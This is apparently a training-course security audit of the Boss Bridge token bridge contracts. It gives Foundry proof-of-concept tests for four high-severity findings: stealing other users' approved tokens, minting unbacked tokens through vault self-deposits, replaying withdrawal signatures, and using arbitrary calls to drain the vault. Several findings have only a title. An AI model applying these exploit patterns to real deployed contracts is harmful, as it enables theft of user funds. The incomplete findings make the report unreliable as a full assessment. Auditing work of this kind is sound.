Boss Bridge Initial Audit Report

Version 0.1

Cyfrin.io

March 22, 2025

Boss Bridge Audit Report

Shoaib Khan

March 22, 2025

Boss Bridge Audit Report

Prepared by: Shoaib

Table of Contents

    * [H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens
    * [H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed
    * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
    * [H-5] CREATE opcode does not work on zksync era
    * [H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd
    * [H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited
    * [H-8] `TokenFactory::deployToken` locks tokens forever
  - Medium
    * [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
  - Low
    * [L-1] Lack of event emission during withdrawals and sending tokesn to L1
    * [L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`
    * [L-3] Unsupported opcode PUSH0
  - Informational
    * [I-1] Insufficient test coverage

About Me

I am a Smart Contract Security Researcher & Auditor with a strong focus on identifying vulnerabilities, optimizing gas efficiency, and securing blockchain protocols. Currently, I am enhancing my expertise through Cyfrin Updraft's Smart Contract Security Auditing Program.

With a solid background in Solidity, Foundry, and EVM security, I specialize in auditing DeFi, NFT, and decentralized applications. My goal is to make blockchain ecosystems more secure and resilient by applying industry best practices and real-world exploit simulations.

Passionate about Web3 security and open-source contributions!

About Protocol

Boss-Bridge is a simple yet secure cross-chain bridge designed to transfer ERC20 tokens from L1 to an upcoming L2 network. The protocol ensures asset safety by holding deposits in a secure L1 vault while an off-chain mechanism verifies and mints corresponding tokens on L2. Key security features include an emergency pause function, strict deposit limits, and withdrawal approvals by a bridge operator. Initially, L1BossBridge will be deployed on Ethereum Mainnet and ZKSync, supporting only L1Token.sol and its copies for compatibility.

Disclaimer

The Shoaib khan makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
-- L1BossBridge.sol
-- L1Token.sol
-- L1Vault.sol
-- TokenFactory.sol
```

Roles

1. `Bridge Owner` – A centralized entity with the authority to pause/unpause the bridge and assign signers.
2. `Users` – Deposit tokens on L1 to be minted on L2 and initiate withdrawal requests.
3. `Bridge Operator` – Approves and processes withdrawals to ensure only valid transactions are executed.
4. `Signer` – Signs withdrawal requests for L2 → L1 token transfers.
5. `Vault` – A smart contract that securely holds deposited tokens on L1.

Executive Summary

The Boss-Bridge audit identified 8 High, 1 Medium, 3 Low, and 1 Informational severity issues. Critical vulnerabilities include unauthorized token transfers, replay attacks on withdrawals, infinite minting of unbacked tokens, and the ability to execute arbitrary calls to drain funds. These risks could lead to fund theft, contract manipulation, and denial-of-service attacks. Recommended mitigations include restricting from address control in deposits, adding replay protection mechanisms, implementing stricter validation on withdrawal amounts, and preventing external calls to sensitive contracts. Strengthening these areas will enhance the security and robustness of the bridge.

Issues found

Severity	Number of issues found
High	8
Medium	1
Low	3

Severity	Number of issues found
Info	1
———	————————-
Total	13

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
 ↪  amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external
 ↪  whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding
 ↪  tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
 ↪  vaultBalance);
```

```
        // Any number of times
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), address(vault), vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), address(vault),
    ↪   vaultBalance);

        vm.stopPrank();
    }
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
    ↪   attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
        ↪   attackerInitialBalance), operator.key);
```

```
        // The attacker can reuse the signature and drain the vault.
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v,
    ↪  r, s);
        }
        assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
         ↪  vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption
     ↪  that the
    // bridge operator needs to see a valid deposit tx to then allow us to
     ↪  request a withdrawal.
    vm.startPrank(attacker);
```

```
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        // Under the assumption that the bridge operator doesn't validate bytes
        ↪  being signed
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker),
    ↪  type(uint256).max)) // data
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
        token.transferFrom(address(vault), attacker,
    ↪  token.balanceOf(address(vault)));
    }
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

Not shown in video

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

Not shown in video

[H-8] `TokenFactory::deployToken` locks tokens forever

Not shown in video

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

Not shown in video ### [L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`

Not shown in video ### [L-3] Unsupported opcode PUSH0

Informational

[I-1] Insufficient test coverage

```
╭---------------------+---------------+---------------+----------
----+---------------╮
| File                | % Lines       | % Statements  | % Branches   | % Funcs      |
+=============================================================================
```

```
| src/L1BossBridge.sol | 92.00% (23/25) | 95.65% (22/23) | 66.67% (2/3)  | 85.71% (6/
|----------------------+----------------+----------------+-----------
----+----------------|
| src/L1Token.sol    | 100.00% (2/2)  | 100.00% (1/1)  | 100.00% (0/0) | 100.00% (1/1
|----------------------+----------------+----------------+-----------
----+----------------|
| src/L1Vault.sol    | 100.00% (4/4)  | 100.00% (2/2)  | 100.00% (0/0) | 100.00% (2/2
|----------------------+----------------+----------------+-----------
----+----------------|
| src/TokenFactory.sol | 100.00% (6/6)  | 100.00% (4/4)  | 100.00% (0/0) | 100.00% (2
|----------------------+----------------+----------------+-----------
----+----------------|
| Total           | 94.59% (35/37) | 96.67% (29/30) | 66.67% (2/3)  | 91.67% (11/12)
╰----------------------+----------------+----------------+-----------
----+----------------╯
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.